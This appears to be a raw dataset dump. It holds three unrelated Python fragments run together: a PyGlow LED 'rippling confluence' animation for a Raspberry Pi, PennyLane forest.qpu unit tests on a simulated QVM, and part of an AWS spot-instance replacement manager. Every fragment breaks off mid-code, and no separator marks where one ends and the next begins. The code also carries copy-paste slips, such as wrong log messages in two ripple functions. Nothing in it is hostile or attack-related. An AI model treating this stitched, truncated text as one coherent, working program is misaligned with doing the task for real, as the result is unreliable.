input
stringlengths
2.65k
237k
output
stringclasses
1 value
#!/usr/bin/env python3 """ Rippling Confluence This program is basically my "Light the Fuse" program in reverse. It lights up 2 arms at once and converges into the third arm. It also creates "ripples" by dimming the brightness of the LEDs one at a time. .................... Functions: - confluence_slow: Controls which fuse to light - confluence_fast: Lights up arm 1, then 2 and 3 - confluence_1_and_2_into_3: Lights up arms 1 and 2, then arm 3 - confluence_1_and_3_into_2: Lights up arms 1 and 3, then arm 2 - confluence_2_and_3_into_1: Lights up arms 2 and 3, then arm 1 - rippling_confluence_1: Ripples the lights on arms 2 and 3, then arm 1 - rippling_confluence_2: Ripples the lights on arms 1 and 3, then arm 2 - rippling_confluence_3: Ripples the lights on arms 1 and 2, then arm 3 - fading_confluence_1: Fades the lights on arms 2 and 3, then arm 1 - fading_confluence_2: Fades the lights on arms 1 and 3, then arm 2 - fading_confluence_3: Fades the lights on arms 1 and 2, then arm 3 .................... Requirements: PyGlow.py (many thanks to benleb for this program) bfp_piglow_modules.py You will have these files if you downloaded the entire repository. .................... Author: <NAME> This program was written on a Raspberry Pi using the Geany IDE. """ ######################################################################## # Import modules # ######################################################################## import logging from time import sleep from PyGlow import PyGlow from bfp_piglow_modules import print_header from bfp_piglow_modules import check_log_directory from bfp_piglow_modules import delete_empty_logs from bfp_piglow_modules import stop ######################################################################## # Initialize # ######################################################################## PYGLOW = PyGlow() PYGLOW.all(0) ######################################################################## # Functions # ######################################################################## def confluence_2_and_3_into_1(sleep_speed): """ Lights up arms 2 and 3, then arm 1 """ LOGGER.debug("Confluence 2 and 3 into 1...") sleep_speed = sleep_speed # Arm 2 and 3, Red PYGLOW.led(7, 120) PYGLOW.led(13, 120) sleep(sleep_speed) # Arm 2 and 3, Orange PYGLOW.led(8, 120) PYGLOW.led(14, 120) sleep(sleep_speed) # Arm 2 and 3, Yellow PYGLOW.led(9, 120) PYGLOW.led(15, 120) sleep(sleep_speed) # Arm 2 and 3, Green PYGLOW.led(10, 120) PYGLOW.led(16, 120) sleep(sleep_speed) # Arm 2 and 3, Blue PYGLOW.led(11, 120) PYGLOW.led(17, 120) sleep(sleep_speed) # Arm 2 and 3, White PYGLOW.led(12, 120) PYGLOW.led(18, 120) sleep(sleep_speed) # Arm 1, White PYGLOW.led(6, 120) sleep(sleep_speed) # Arm 1, Blue PYGLOW.led(5, 120) sleep(sleep_speed) # Arm 1, Green PYGLOW.led(4, 120) sleep(sleep_speed) # Arm 1, Yellow PYGLOW.led(3, 120) sleep(sleep_speed) # Arm 1, Orange PYGLOW.led(2, 120) sleep(sleep_speed) # Arm 1, Red PYGLOW.led(1, 120) sleep(sleep_speed) # Ripple for i in range(1, 11, 1): LOGGER.debug("Ripple count: %s", i) rippling_confluence_1(sleep_speed) # Fade fading_confluence_1() def confluence_1_and_3_into_2(sleep_speed): """ Lights up arms 1 and 3, then arm 2 """ LOGGER.debug("Confluence 1 and 3 into 2...") sleep_speed = sleep_speed # Arm 1 and 3, Red PYGLOW.led(1, 120) PYGLOW.led(13, 120) sleep(sleep_speed) # Arm 1 and 3, Orange PYGLOW.led(2, 120) PYGLOW.led(14, 120) sleep(sleep_speed) # Arm 1 and 3, Yellow PYGLOW.led(3, 120) PYGLOW.led(15, 120) sleep(sleep_speed) # Arm 1 and 3, Green PYGLOW.led(4, 120) PYGLOW.led(16, 120) sleep(sleep_speed) # Arm 1 and 3, Blue PYGLOW.led(5, 120) PYGLOW.led(17, 120) sleep(sleep_speed) # Arm 1 and 3, White PYGLOW.led(6, 120) PYGLOW.led(18, 120) sleep(sleep_speed) # Arm 2, White PYGLOW.led(12, 120) sleep(sleep_speed) # Arm 2, Blue PYGLOW.led(11, 120) sleep(sleep_speed) # Arm 2, Green PYGLOW.led(10, 120) sleep(sleep_speed) # Arm 2, Yellow PYGLOW.led(9, 120) sleep(sleep_speed) # Arm 2, Orange PYGLOW.led(8, 120) sleep(sleep_speed) # Arm 2, Red PYGLOW.led(7, 120) sleep(sleep_speed) for i in range(1, 11, 1): LOGGER.debug("Ripple count: %s", i) rippling_confluence_2(sleep_speed) fading_confluence_2() sleep(1) def confluence_1_and_2_into_3(sleep_speed): """ Lights up arms 1 and 2, then arm 3 """ LOGGER.debug("Confluence 1 and 2 into 3...") sleep_speed = sleep_speed # Arm 1 and 2, Red PYGLOW.led(1, 120) PYGLOW.led(7, 120) # Arm 1 and 2, Orange PYGLOW.led(2, 120) PYGLOW.led(8, 120) sleep(sleep_speed) # Arm 1 and 2, Yellow PYGLOW.led(3, 120) PYGLOW.led(9, 120) sleep(sleep_speed) # Arm 1 and 2, Green PYGLOW.led(4, 120) PYGLOW.led(10, 120) sleep(sleep_speed) # Arm 1 and 2, Blue PYGLOW.led(5, 120) PYGLOW.led(11, 120) sleep(sleep_speed) # Arm 1 and 2, White PYGLOW.led(6, 120) PYGLOW.led(12, 120) sleep(sleep_speed) # Arm 3, White PYGLOW.led(18, 120) sleep(sleep_speed) # Arm 3, Blue PYGLOW.led(17, 120) sleep(sleep_speed) # Arm 3, Green PYGLOW.led(16, 120) sleep(sleep_speed) # Arm 3, Yellow PYGLOW.led(15, 120) sleep(sleep_speed) # Arm 3, Orange PYGLOW.led(14, 120) sleep(sleep_speed) # Arm 3, Red PYGLOW.led(13, 120) sleep(sleep_speed) # Ripple for i in range(1, 11, 1): LOGGER.debug("Ripple count: %s", i) rippling_confluence_3(sleep_speed) # Fade fading_confluence_3() sleep(1) def rippling_confluence_1(sleep_speed): """ Ripples the lights on arms 2 and 3, then arm 1 """ LOGGER.debug("Rippling Confluence 1...") ripple_speed = 0.05 if sleep_speed < ripple_speed: ripple_speed = sleep_speed else: ripple_speed = 0.05 LOGGER.debug("ripple speed is: %s", ripple_speed) # Ripple # Arm 2 and 3, Red PYGLOW.led(7, 60) PYGLOW.led(13, 60) sleep(ripple_speed) # Arm 2 and 3, Red PYGLOW.led(7, 120) PYGLOW.led(13, 120) sleep(ripple_speed) # Arm 2 and 3, Orange PYGLOW.led(8, 60) PYGLOW.led(14, 60) sleep(ripple_speed) PYGLOW.led(8, 120) PYGLOW.led(14, 120) sleep(ripple_speed) # Arm 2 and 3, Yellow PYGLOW.led(9, 60) PYGLOW.led(15, 60) sleep(ripple_speed) PYGLOW.led(9, 120) PYGLOW.led(15, 120) sleep(ripple_speed) # Arm 2 and 3, Green PYGLOW.led(10, 60) PYGLOW.led(16, 60) sleep(ripple_speed) PYGLOW.led(10, 120) PYGLOW.led(16, 120) sleep(ripple_speed) # Arm 2 and 3, Blue PYGLOW.led(11, 60) PYGLOW.led(17, 60) sleep(ripple_speed) PYGLOW.led(11, 120) PYGLOW.led(17, 120) sleep(ripple_speed) # Arm 2 and 3, White PYGLOW.led(12, 60) PYGLOW.led(18, 60) sleep(ripple_speed) PYGLOW.led(12, 120) PYGLOW.led(18, 120) sleep(ripple_speed) # Arm 1, White PYGLOW.led(6, 60) sleep(ripple_speed) PYGLOW.led(6, 120) sleep(ripple_speed) # Arm 1, Blue PYGLOW.led(5, 60) sleep(ripple_speed) PYGLOW.led(5, 120) sleep(ripple_speed) # Arm 1, Green PYGLOW.led(4, 60) sleep(ripple_speed) PYGLOW.led(4, 120) sleep(ripple_speed) # Arm 1, Yellow PYGLOW.led(3, 60) sleep(ripple_speed) PYGLOW.led(3, 120) sleep(ripple_speed) # Arm 1, Orange PYGLOW.led(2, 80) sleep(ripple_speed) PYGLOW.led(2, 120) sleep(ripple_speed) # Arm 1, Red PYGLOW.led(1, 60) sleep(ripple_speed) PYGLOW.led(1, 120) sleep(ripple_speed) def rippling_confluence_2(sleep_speed): """ Ripples the lights on arms 1 and 3, then arm 2 """ LOGGER.debug("Rippling Confluence 1...") ripple_speed = 0.05 if sleep_speed < ripple_speed: ripple_speed = sleep_speed else: ripple_speed = 0.05 LOGGER.debug("ripple speed is: %s", ripple_speed) # Ripple # Arm 1 and 3, Red PYGLOW.led(1, 60) PYGLOW.led(13, 60) sleep(ripple_speed) PYGLOW.led(1, 120) PYGLOW.led(13, 120) sleep(ripple_speed) # Arm 1 and 3, Orange PYGLOW.led(2, 60) PYGLOW.led(14, 60) sleep(ripple_speed) PYGLOW.led(2, 120) PYGLOW.led(14, 120) sleep(ripple_speed) # Arm 1 and 3, Yellow PYGLOW.led(3, 60) PYGLOW.led(15, 60) sleep(ripple_speed) PYGLOW.led(3, 120) PYGLOW.led(15, 120) sleep(ripple_speed) # Arm 1 and 3, Green PYGLOW.led(4, 60) PYGLOW.led(16, 60) sleep(ripple_speed) PYGLOW.led(4, 120) PYGLOW.led(16, 120) sleep(ripple_speed) # Arm 1 and 3, Blue PYGLOW.led(5, 60) PYGLOW.led(17, 60) sleep(ripple_speed) PYGLOW.led(5, 120) PYGLOW.led(17, 120) sleep(ripple_speed) # Arm 1 and 3, White PYGLOW.led(6, 60) PYGLOW.led(18, 60) sleep(ripple_speed) PYGLOW.led(6, 120) PYGLOW.led(18, 120) sleep(ripple_speed) # Arm 2, White PYGLOW.led(12, 60) sleep(ripple_speed) PYGLOW.led(12, 120) sleep(ripple_speed) # Arm 2, Blue PYGLOW.led(11, 60) sleep(ripple_speed) PYGLOW.led(11, 120) sleep(ripple_speed) # Arm 2, Green PYGLOW.led(10, 60) sleep(ripple_speed) PYGLOW.led(10, 120) sleep(ripple_speed) # Arm 2, Yellow PYGLOW.led(9, 60) sleep(ripple_speed) PYGLOW.led(9, 120) sleep(ripple_speed) # Arm 2, Orange PYGLOW.led(8, 60) sleep(ripple_speed) PYGLOW.led(8, 120) sleep(ripple_speed) # Arm 2, Red PYGLOW.led(7, 60) sleep(ripple_speed) PYGLOW.led(7, 120) sleep(ripple_speed) def rippling_confluence_3(sleep_speed): """ Ripples the lights on arms 1 and 2, then arm 3 """ LOGGER.debug("Rippling Confluence 1...") ripple_speed = 0.05 if sleep_speed < ripple_speed: ripple_speed = sleep_speed else: ripple_speed = 0.05 LOGGER.debug("ripple speed is: %s", ripple_speed) # Ripple # Arm 1 and 2, Red PYGLOW.led(1, 60) PYGLOW.led(7, 60) sleep(ripple_speed) PYGLOW.led(1, 120) PYGLOW.led(7, 120) sleep(ripple_speed) # Arm 1 and 2, Orange PYGLOW.led(2, 60) PYGLOW.led(8, 60) sleep(ripple_speed) PYGLOW.led(2, 120) PYGLOW.led(8, 120) sleep(ripple_speed) # Arm 1 and 2, Yellow PYGLOW.led(3, 60) PYGLOW.led(9, 60) sleep(ripple_speed) PYGLOW.led(3, 120) PYGLOW.led(9, 120) sleep(ripple_speed) # Arm 1 and 2, Green PYGLOW.led(4, 60) PYGLOW.led(10, 60) sleep(ripple_speed) PYGLOW.led(4, 120) PYGLOW.led(10, 120) sleep(ripple_speed) # Arm 1 and 2, Blue PYGLOW.led(5, 60) PYGLOW.led(11, 60) sleep(ripple_speed) PYGLOW.led(5, 120) PYGLOW.led(11, 120) sleep(ripple_speed) # Arm 1 and 2, White PYGLOW.led(6, 60) PYGLOW.led(12, 60) sleep(ripple_speed) PYGLOW.led(6, 120) PYGLOW.led(12, 120) sleep(ripple_speed) # Arm 3, White PYGLOW.led(18, 60) sleep(ripple_speed) PYGLOW.led(18, 120) sleep(ripple_speed) # Arm 3, Blue PYGLOW.led(17, 60) sleep(ripple_speed) PYGLOW.led(17, 120) sleep(ripple_speed) # Arm 3, Green PYGLOW.led(16, 60) sleep(ripple_speed) PYGLOW.led(16, 120) sleep(ripple_speed) # Arm 3, Yellow PYGLOW.led(15, 60) sleep(ripple_speed) PYGLOW.led(15, 120) sleep(ripple_speed) # Arm 3, Orange PYGLOW.led(14, 60) sleep(ripple_speed) PYGLOW.led(14, 120) sleep(ripple_speed) # Arm 3, Red PYGLOW.led(13, 60) sleep(ripple_speed) PYGLOW.led(13, 120) sleep(ripple_speed) def fading_confluence_1(): """ Fades the lights on arms 2 and 3, then arm 1 """ sleep_speed = 0.01 # Fade Arm 2 and 3: R PYGLOW.led(7, 110) PYGLOW.led(13, 110) sleep(sleep_speed) # Fade Arm 2 and 3: R, O PYGLOW.led(7, 100) PYGLOW.led(13, 100) sleep(sleep_speed) PYGLOW.led(8, 110) PYGLOW.led(14, 110)
<gh_stars>1-10 """ Unit tests for the QPU device. """ import logging import warnings import re import pytest import pyquil import pennylane as qml from pennylane import numpy as np from pennylane.operation import Tensor import pennylane_forest as plf from conftest import BaseTest, QVM_SHOTS from flaky import flaky log = logging.getLogger(__name__) TEST_QPU_LATTICES = ["4q-qvm"] class TestQPUIntegration(BaseTest): """Test the wavefunction simulator works correctly from the PennyLane frontend.""" # pylint: disable=no-self-use def test_load_qpu_device(self): """Test that the QPU device loads correctly""" device = TEST_QPU_LATTICES[0] dev = qml.device("forest.qpu", device=device, load_qc=False) qc = pyquil.get_qc(device) num_wires = len(qc.qubits()) self.assertEqual(dev.num_wires, num_wires) self.assertEqual(dev.shots, 1000) self.assertEqual(dev.short_name, "forest.qpu") def test_load_virtual_qpu_device(self): """Test that the QPU simulators load correctly""" device = np.random.choice(TEST_QPU_LATTICES) qml.device("forest.qpu", device=device, load_qc=False) def test_qpu_args(self): """Test that the QPU plugin requires correct arguments""" device = np.random.choice(TEST_QPU_LATTICES) with pytest.raises(ValueError, match="QPU device does not support a wires parameter"): qml.device("forest.qpu", device=device, wires=2) with pytest.raises(TypeError, match="missing 1 required positional argument"): qml.device("forest.qpu") with pytest.raises(ValueError, match="Number of shots must be a positive integer"): qml.device("forest.qpu", device=device, shots=0) with pytest.raises(ValueError, match="Readout error cannot be set on the physical QPU"): qml.device("forest.qpu", device=device, load_qc=True, readout_error=[0.9, 0.75]) @flaky(max_runs=5, min_passes=3) @pytest.mark.parametrize( "obs", [qml.PauliX(0), qml.PauliZ(0), qml.PauliY(0), qml.Hadamard(0), qml.Identity(0)] ) def test_tensor_expval_parametric_compilation(self, obs): """Test the QPU expval method for Tensor observables made up of a single observable when parametric compilation is turned on. As the results coming from the qvm are stochastic, a constraint of 3 out of 5 runs was added. """ device = np.random.choice(TEST_QPU_LATTICES) p = np.pi / 8 dev = qml.device( "forest.qpu", device=device, shots=10000, load_qc=False, parametric_compilation=True, ) dev_1 = qml.device( "forest.qpu", device=device, shots=10000, load_qc=False, parametric_compilation=True, ) def template(param): qml.BasisState(np.array([0, 0, 1, 1]), wires=list(range(4))) qml.RY(param, wires=[2]) qml.CNOT(wires=[2, 3]) @qml.qnode(dev) def circuit_tensor(param): template(param) return qml.expval(Tensor(obs)) @qml.qnode(dev_1) def circuit_obs(param): template(param) return qml.expval(obs) res = circuit_tensor(p) exp = circuit_obs(p) assert np.allclose(res, exp, atol=2e-2) @flaky(max_runs=5, min_passes=3) @pytest.mark.parametrize( "obs", [qml.PauliX(0), qml.PauliZ(0), qml.PauliY(0), qml.Hadamard(0), qml.Identity(0)] ) def test_tensor_expval_operator_estimation(self, obs): """Test the QPU expval method for Tensor observables made up of a single observable when parametric compilation is turned off allowing operator estimation. As the results coming from the qvm are stochastic, a constraint of 3 out of 5 runs was added. """ device = np.random.choice(TEST_QPU_LATTICES) p = np.pi / 7 dev = qml.device( "forest.qpu", device=device, shots=1000, load_qc=False, parametric_compilation=False, ) dev_1 = qml.device( "forest.qpu", device=device, shots=1000, load_qc=False, parametric_compilation=False, ) def template(param): qml.BasisState(np.array([0, 0, 1, 1]), wires=list(range(4))) qml.RY(param, wires=[2]) qml.CNOT(wires=[2, 3]) @qml.qnode(dev) def circuit_tensor(param): template(param) return qml.expval(Tensor(obs)) @qml.qnode(dev_1) def circuit_obs(param): template(param) return qml.expval(obs) res = circuit_tensor(p) exp = circuit_obs(p) assert np.allclose(res, exp, atol=2e-2) class TestQPUBasic(BaseTest): """Unit tests for the QPU (as a QVM).""" # pylint: disable=protected-access def test_warnings_raised_parametric_compilation_and_operator_estimation(self): """Test that a warning is raised if parameter compilation and operator estimation are both turned on.""" device = np.random.choice(TEST_QPU_LATTICES) with pytest.warns(Warning, match="Operator estimation is being turned off."): dev = qml.device( "forest.qpu", device=device, shots=1000, load_qc=False, parametric_compilation=True, ) def test_no_readout_correction(self): """Test the QPU plugin with no readout correction""" device = np.random.choice(TEST_QPU_LATTICES) dev_qpu = qml.device( "forest.qpu", device=device, load_qc=False, readout_error=[0.9, 0.75], symmetrize_readout=None, calibrate_readout=None, parametric_compilation=False, ) qubit = 0 # just run program on the first qubit @qml.qnode(dev_qpu) def circuit_Xpl(): qml.RY(np.pi / 2, wires=qubit) return qml.expval(qml.PauliX(qubit)) @qml.qnode(dev_qpu) def circuit_Xmi(): qml.RY(-np.pi / 2, wires=qubit) return qml.expval(qml.PauliX(qubit)) @qml.qnode(dev_qpu) def circuit_Ypl(): qml.RX(-np.pi / 2, wires=qubit) return qml.expval(qml.PauliY(qubit)) @qml.qnode(dev_qpu) def circuit_Ymi(): qml.RX(np.pi / 2, wires=qubit) return qml.expval(qml.PauliY(qubit)) @qml.qnode(dev_qpu) def circuit_Zpl(): qml.RX(0.0, wires=qubit) return qml.expval(qml.PauliZ(qubit)) @qml.qnode(dev_qpu) def circuit_Zmi(): qml.RX(np.pi, wires=qubit) return qml.expval(qml.PauliZ(qubit)) num_expts = 10 results_unavged = np.zeros((num_expts, 6)) for i in range(num_expts): results_unavged[i, :] = [ circuit_Xpl(), circuit_Ypl(), circuit_Zpl(), circuit_Xmi(), circuit_Ymi(), circuit_Zmi(), ] results = np.mean(results_unavged, axis=0) assert np.allclose(results[:3], 0.8, atol=2e-2) assert np.allclose(results[3:], -0.5, atol=2e-2) def test_readout_correction(self): """Test the QPU plugin with readout correction""" device = np.random.choice(TEST_QPU_LATTICES) dev_qpu = qml.device( "forest.qpu", device=device, load_qc=False, readout_error=[0.9, 0.75], symmetrize_readout="exhaustive", calibrate_readout="plus-eig", timeout=100, ) qubit = 0 # just run program on the first qubit @qml.qnode(dev_qpu) def circuit_Xpl(): qml.RY(np.pi / 2, wires=qubit) return qml.expval(qml.PauliX(qubit)) @qml.qnode(dev_qpu) def circuit_Xmi(): qml.RY(-np.pi / 2, wires=qubit) return qml.expval(qml.PauliX(qubit)) @qml.qnode(dev_qpu) def circuit_Ypl(): qml.RX(-np.pi / 2, wires=qubit) return qml.expval(qml.PauliY(qubit)) @qml.qnode(dev_qpu) def circuit_Ymi(): qml.RX(np.pi / 2, wires=qubit) return qml.expval(qml.PauliY(qubit)) @qml.qnode(dev_qpu) def circuit_Zpl(): qml.RX(0.0, wires=qubit) return qml.expval(qml.PauliZ(qubit)) @qml.qnode(dev_qpu) def circuit_Zmi(): qml.RX(np.pi, wires=qubit) return qml.expval(qml.PauliZ(qubit)) num_expts = 10 results_unavged = np.zeros((num_expts, 6)) for i in range(num_expts): results_unavged[i, :] = [ circuit_Xpl(), circuit_Ypl(), circuit_Zpl(), circuit_Xmi(), circuit_Ymi(), circuit_Zmi(), ] results = np.mean(results_unavged, axis=0) assert np.allclose(results[:3], 1.0, atol=2e-2) assert np.allclose(results[3:], -1.0, atol=2e-2) @flaky(max_runs=5, min_passes=3) def test_multi_qub_no_readout_errors(self): """Test the QPU plugin with no readout errors or correction""" device = np.random.choice(TEST_QPU_LATTICES) dev_qpu = qml.device( "forest.qpu", device=device, load_qc=False, symmetrize_readout=None, calibrate_readout=None, ) @qml.qnode(dev_qpu) def circuit(): qml.RY(np.pi / 2, wires=0) qml.RY(np.pi / 3, wires=1) return qml.expval(qml.PauliX(0) @ qml.PauliZ(1)) num_expts = 50 result = 0.0 for _ in range(num_expts): result += circuit() result /= num_expts assert np.isclose(result, 0.5, atol=2e-2) @flaky(max_runs=5, min_passes=3) def test_multi_qub_readout_errors(self): """Test the QPU plugin with readout errors""" device = np.random.choice(TEST_QPU_LATTICES) dev_qpu = qml.device( "forest.qpu", device=device, load_qc=False, shots=10_000, readout_error=[0.9, 0.75], symmetrize_readout=None, calibrate_readout=None, parametric_compilation=False ) @qml.qnode(dev_qpu) def circuit(): qml.RY(np.pi / 2, wires=0) qml.RY(np.pi / 3, wires=1) return qml.expval(qml.PauliX(0) @ qml.PauliZ(1)) result = circuit() assert np.isclose(result, 0.38, atol=2e-2) @flaky(max_runs=5, min_passes=3) def test_multi_qub_readout_correction(self): """Test the QPU plugin with readout errors and correction""" device = np.random.choice(TEST_QPU_LATTICES) dev_qpu = qml.device( "forest.qpu", device=device, load_qc=False, shots=10_000, readout_error=[0.9, 0.75], symmetrize_readout='exhaustive', calibrate_readout='plus-eig', parametric_compilation=False ) @qml.qnode(dev_qpu) def circuit(): qml.RY(np.pi / 2, wires=0) qml.RY(np.pi / 3, wires=1) return qml.expval(qml.PauliX(0) @ qml.PauliZ(1)) result = circuit() assert np.isclose(result, 0.5, atol=3e-2) @flaky(max_runs=5, min_passes=3) def test_2q_gate(self): """Test that the two qubit gate with the PauliZ observable works correctly. As the results coming from the qvm are stochastic, a constraint of 3 out of 5 runs was added. """ device = np.random.choice(TEST_QPU_LATTICES) dev_qpu = qml.device( "forest.qpu", device=device, load_qc=False, readout_error=[0.9, 0.75], symmetrize_readout="exhaustive", calibrate_readout="plus-eig", shots=QVM_SHOTS, ) @qml.qnode(dev_qpu) def circuit(): qml.RY(np.pi / 2, wires=[0]) qml.CNOT(wires=[0, 1]) return qml.expval(qml.PauliZ(0)) assert np.allclose(circuit(), 0.0, atol=2e-2) @flaky(max_runs=5, min_passes=3) def test_2q_gate_pauliz_identity_tensor(self): """Test that the PauliZ tensor Identity observable works correctly. As the results coming from the qvm are stochastic, a constraint of 3 out of 5 runs was added. """ device = np.random.choice(TEST_QPU_LATTICES) dev_qpu = qml.device( "forest.qpu", device=device, load_qc=False, readout_error=[0.9, 0.75], symmetrize_readout="exhaustive", calibrate_readout="plus-eig", shots=QVM_SHOTS, ) @qml.qnode(dev_qpu) def circuit(): qml.RY(np.pi / 2, wires=[0]) qml.CNOT(wires=[0, 1]) return qml.expval(qml.PauliZ(0) @ qml.Identity(1)) assert np.allclose(circuit(), 0.0, atol=2e-2) @flaky(max_runs=5, min_passes=3) @pytest.mark.parametrize("a", np.linspace(-0.5, 2, 6)) def test_2q_gate_pauliz_pauliz_tensor(self, a): """Test that the PauliZ tensor PauliZ observable works correctly. As the results coming from the qvm are stochastic, a constraint of 3 out of 5 runs was added. """ device = np.random.choice(TEST_QPU_LATTICES) dev_qpu = qml.device( "forest.qpu", device=device, load_qc=False, readout_error=[0.9, 0.75], symmetrize_readout="exhaustive", calibrate_readout="plus-eig", shots=QVM_SHOTS, ) @qml.qnode(dev_qpu) def circuit(x): qml.RY(x, wires=[0]) qml.Hadamard(wires=1) qml.CNOT(wires=[0, 1]) return qml.expval(qml.PauliZ(0) @ qml.Identity(1)) assert np.allclose(circuit(a), np.cos(a), atol=2e-2) # Check that repeated calling of the QNode works correctly assert np.allclose(circuit(a), np.cos(a), atol=2e-2) @flaky(max_runs=5, min_passes=3) @pytest.mark.parametrize("a", np.linspace(-np.pi / 2, 0, 3)) @pytest.mark.parametrize("b", np.linspace(0, np.pi / 2, 3)) def test_2q_circuit_pauliz_pauliz_tensor(self, a, b): """Test that the PauliZ tensor PauliZ observable works correctly, when parametric compilation is turned off. As the results coming from the qvm are stochastic, a constraint of 3 out of 5 runs was added. """ device = np.random.choice(TEST_QPU_LATTICES) dev_qpu = qml.device( "forest.qpu", device=device, load_qc=False, readout_error=[0.9, 0.75], symmetrize_readout="exhaustive", calibrate_readout="plus-eig", shots=QVM_SHOTS, ) @qml.qnode(dev_qpu) def circuit(x, y): qml.RY(x, wires=[0]) qml.RY(y, wires=[1]) qml.CNOT(wires=[0, 1]) return qml.expval(qml.PauliZ(0) @ qml.PauliZ(1)) analytic_value = ( np.cos(a / 2) ** 2 * np.cos(b / 2) ** 2 + np.cos(b / 2) ** 2 * np.sin(a / 2) ** 2 - np.cos(a / 2) ** 2 * np.sin(b / 2) ** 2 - np.sin(a / 2) ** 2 * np.sin(b / 2) ** 2 ) assert np.allclose(circuit(a, b), analytic_value, atol=2e-2) # Check that repeated calling of the QNode works correctly assert np.allclose(circuit(a, b), analytic_value, atol=2e-2) @pytest.mark.parametrize("a", np.linspace(-np.pi / 2, 0, 3)) @pytest.mark.parametrize("b", np.linspace(0, np.pi / 2, 3)) def test_2q_gate_pauliz_pauliz_tensor_parametric_compilation_off(self, a, b): """Test that the PauliZ tensor PauliZ observable works correctly, when parametric compilation is turned off. As the results coming from the qvm are stochastic, a constraint of 3 out of 5 runs was added. """ device = np.random.choice(TEST_QPU_LATTICES) dev_qpu = qml.device( "forest.qpu", device=device, load_qc=False, readout_error=[0.9, 0.75], symmetrize_readout="exhaustive", calibrate_readout="plus-eig", shots=QVM_SHOTS // 20, parametric_compilation=False, ) @qml.qnode(dev_qpu) def circuit(x, y): qml.RY(x, wires=[0]) qml.RY(y, wires=[1]) qml.CNOT(wires=[0, 1])
let amazon place our spots to ensure lower pricing.. (fix up later!) spotreqs = self.server_control.spawn_spot_server(bid, self.instance_type, self.server_role, num_servers=batch_size, availzone=availzone) self.server_control.scaler.set_pool_managing(spotreqs, self.myname) self.server_control.set_name(spotreqs, '%s_%s_autospawn' % (self.myname.split('_')[0], self.server_control.effective_env)) return spotreqs def cancel_spot_requests(self, spot_reqs): if not hasattr(spot_reqs, '__iter__'): spot_reqs = [spot_reqs] for spot_req in spot_reqs: if spot_req.state == 'active': self.logger.error('Cannot terminate active spot_req %s' % spot_req) return # raise exception? else: spot_req.state = 'cancelled' self.set_override(spot_req, True, 60, True) self.server_control.cancel_spot_requests(spot_reqs) spot_ids = [spot_req.id for spot_req in spot_reqs] for instance_id, spot in self.spot_replace.items(): if spot.id in spot_ids: del self.spot_replace[instance_id] def cancel_spot_replacement(self, instance): """Cancel spot replacement for *instance* if it is currently happening""" spot_repl = self.spot_replace.get(instance.id) if spot_repl: if spot_repl.state == 'open': self.logger.info('Cancelling spot replacement %s for instance %s', spot_repl, instance) self.cancel_spot_requests(spot_repl) def terminate_instances(self, instances, instance_management): """Terminate these instances with correct teardown""" # TODO: This should run teardown in another thread # For now, we consider teardown process to be so fast that it is ok to be serial for instance in instances: if instance.id in self.termination_threads: self.logger.warn('Instance %s already terminating. ignoring termination request', instance) continue msg = 'Running teardown of %s (%s)' % (instance, instance.public_dns_name) self.log_email('Shutdown instance', msg, logfunc=self.logger.info, force=False) term_thread = TerminationThread(instance, self) self.termination_threads[instance.id] = term_thread term_thread.start() self.terminated_server(instance, instance_management) def terminated_server(self, instance, instance_management=None): """Notify that we have terminated this server""" # cancel out any spot replacement for this server: self.cancel_spot_replacement(instance) # mark spot instances as cleared spot_repl = self.spot_replace.get(instance.id) if spot_repl: self.logger.info('instance %s terminating; was successfully replaced by spot req %s', instance, spot_repl) del self.spot_replace[instance.id] # wipe from instance_management dict if instance_management: for running_instances in instance_management.values(): if instance in running_instances: running_instances.remove(instance) break def pre_update_spot_replacements(self, running_instances, spot_requests): """ Performs spot replacement updates before execute -Remap spot replacements -Clean out removed spot_replacements/instances """ for inst_id, oldreq in self.spot_replace.items(): for sreq in spot_requests: if oldreq.id == sreq.id: self.spot_replace[inst_id] = sreq break """ # TODO: Amazon has consistency issues where a subsequent describe spot requests does not # return one earlier requested # Figure out a way to resolve this else: #spot was deleted # TODO: Email? self.logger.warn('pre_update_spot_replacements: Spot %s disappeared. purging from dict' % oldreq) del self.spot_replace[inst_id] continue """ for instance in running_instances: if instance.id == inst_id: break else: self.logger.warn( 'pre_update_spot_replacements: Instance %s to-be replaced by spot %s disappeared. purging from dict', inst_id, oldreq) del self.spot_replace[inst_id] def post_update_spot_replacements(self, running_instances): """ Performs spot replacement updates after execution -initiate replacement -removing completed replacement """ """ TODO: Consider replacing expensive spots with normals? Internal notes: We don't currently check if an instance is in 'killing mode'. In fact, we don't even globally see if a manager is killing an instance Fortunately for workers this doesn't matter, as possible spot replacement times do not intersect worker teardown times """ """ Internal notes: AZ is not respected here. Managers cannot currently communicate a "minimum" number of servers required . We can either use current az (when we care about distibution of workers) Or we can use any az (current policy as we don't care) """ pricingmgr = self.scaling_task.pricing_manager cancel_spots = [] for instance in running_instances: if self.can_initiate_spot_replacement(instance): spot_repl = self.spot_replace.get(instance.id) if spot_repl: if spot_repl.state == 'open': # see if if it is too expensive spot_price = pricingmgr.get_cost(spot_repl, self) if spot_price > self.spot_replace_price_threshold * self.on_demand_cost: cancel_spots.append(spot_repl) continue # hack: do not have more than 100 spot replace outstanding # as we could have a bug if this is occuring if len(self.spot_replace) > 100: continue normal_cost = pricingmgr.get_cost(instance, self) # Allow any az but prioritize instance's current az az_list = service_settings.usable_zones[:] best_az = instance.placement az_list.remove(best_az) az_list.insert(0, best_az) # hack: we are controlling so much t1.micro we are exhausting available spots in a single az if self.instance_type == 't1.micro': random.shuffle(az_list) spot_cost, spot_az = pricingmgr.new_spot_instance_cost(instance.instance_type, az_list=az_list) replace = spot_cost < (self.spot_replace_price_threshold * normal_cost) self.logger.debug( 'Considering spot replacement on %s. it costs %s. Spot costs %s in az %s replacing? %s', instance, normal_cost, spot_cost, spot_az, replace) if replace: # TODO: These need to be batched up. Build by az and mass execute spot_reqs = self.generate_spot_request(1, spot_az) msg = 'Replacing instance %s (az %s) with spot %s in az %s. \n norm cost=%s. spot cost=%s' % \ (instance, instance.placement, spot_reqs, spot_az, normal_cost, spot_cost) self.log_email('Spot replacing', msg=msg, force=True, logfunc=self.logger.info) self.spot_replace[instance.id] = spot_reqs[0] elif not self.can_fulfill_spot_replacement(instance): # cancel spots spot_req = self.spot_replace.get(instance.id) if not spot_req: continue if spot_req.state == 'open': msg = '%s to replace %s was open too long.' % (spot_req, instance) self.log_email('Cancelling spot replacement', msg, force=True, logfunc=self.logger.info) self.cancel_spot_replacement(instance) else: # too late for cancel. normal likely cannot wind down self.logger.debug( 'Never shut down instance %s that was shut down by spot %s. This is expected behavior', instance, spot_req) del 